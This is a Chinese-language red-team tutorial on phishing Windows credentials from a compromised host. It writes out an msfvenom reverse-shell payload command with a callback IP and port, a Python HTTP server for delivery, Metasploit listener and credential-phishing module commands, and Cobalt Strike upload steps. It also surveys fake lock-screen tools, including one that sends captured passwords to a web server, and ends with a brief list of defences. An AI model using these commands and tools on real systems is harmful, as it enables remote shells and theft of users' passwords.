用钓鱼攻击Windows凭据
字数 1602 2025-08-25 22:58:40
Windows凭据钓鱼攻击技术详解
1. 攻击意义与概述
在红队评估期间,获取Windows用户凭据对于横向移动至关重要。当传统密码抓取工具无效时,钓鱼攻击往往能成功获取目标账号密码。
2. 攻击流程
基本攻击过程分为三个阶段:
- Payload投递:获取目标机shell
- 工具上传:将钓鱼工具上传至目标系统
- 凭据捕获:在命令行界面等待用户输入密码
3. 常用C2工具选择
3.1 Cobalt Strike
- 优势:PowerShell模式的payload能绕过大多数杀毒软件
- 使用方法:
- 生成payload:
Attacks->Packages->... - 上传工具:
execute-assembly /root/Desktop/exp.exe
- 生成payload:
3.2 Metasploit
- 生成payload:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.12 lport=3333 -f exe >> payload.exe python -m SimpleHTTPServer 80 - 监听设置:
use multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.10.12 set lport 3333 run - 工具上传:
upload exp.exe然后shell执行exp.exe
4. 专用钓鱼工具详解
4.1 FakeLogonScreen
- 项目地址:https://github.com/bitsadmin/fakelogonscreen
- 特点:
- 依赖.NET环境(C#开发)
- 弹出虚假登录背景
- 对AD或本地账户进行实时验证
- 确保捕获的密码有效
4.2 SharpLocker
- 项目地址:https://github.com/Pickfordmatt/SharpLocker
- 特点:
- 显示伪造登录界面
- 捕获击键并显示在控制台
- 密码验证后自动结束
4.3 CredsLeaker
- 项目地址:https://github.com/Dviros/CredsLeaker
- 特点:
- 将凭据存储在Web服务器
- 通过PowerShell调用HTTP请求
- 可直接从bat文件执行PowerShell命令
- 配置要求:
- 需预先修改php和ps文件配置
- 设置存储用户密码的路径
4.4 Metasploit内置模块
use post/windows/gather/phish_windows_credentials
set SESSION 3
set PROCESS *
run
- 捕获的凭据会直接显示在控制台
4.5 Lockphish
- 项目地址:https://github.com/thelinuxchoice/lockphish
- 创新点:
- 使用Web界面进行远程钓鱼
- 完美规避杀毒软件检测
- 默认重定向到YouTube
- 工作流程:
- 受害者点击链接
- 打开全屏虚假登录框
- 要求输入Administrator密码
- 捕获后重定向到YouTube
- 缺点:无法进行Web层面的密码验证
5. 其他相关工具
-
PowerShell弹窗捕获:
- https://malicious.link/post/2015/powershell-popups-and-capture/
-
Nishang凭据钓鱼脚本:
- https://github.com/samratashok/nishang/blob/master/Gather/Invoke-CredentialsPhish.ps1
-
Invoke-LoginPrompt:
- https://github.com/enigma0x3/Invoke-LoginPrompt
6. 防御建议
- 启用多因素认证(MFA)
- 教育用户识别虚假登录界面
- 限制PowerShell执行权限
- 部署端点检测与响应(EDR)解决方案
- 监控异常的网络请求和进程行为
7. 参考资源
- MITRE ATT&CK技术条目:https://attack.mitre.org/techniques/T1141/
- 技术分析文章:https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/
- 综合指南:https://pentestlab.blog/2020/03/02/phishing-windows-credentials/